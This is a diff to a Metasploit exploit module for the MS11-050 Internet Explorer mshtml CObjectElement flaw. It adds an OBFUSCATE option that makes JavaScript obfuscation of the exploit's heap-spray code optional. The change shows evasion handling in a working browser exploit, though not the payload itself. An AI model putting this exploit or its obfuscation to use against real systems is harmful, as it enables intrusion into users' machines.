diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb index 60b02596c2..ecf6ddd7ed 100644 --- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb +++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb @@ -116,6 +116,11 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DisclosureDate' => "Jun 16 2011", 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) + ], self.class) end def auto_target(cli, request) @@ -293,8 +298,12 @@ class Metasploit3 < Msf::Exploit::Remote JS js = heaplib(js) - js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate + + #obfuscate on demand + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end html = <<-HTML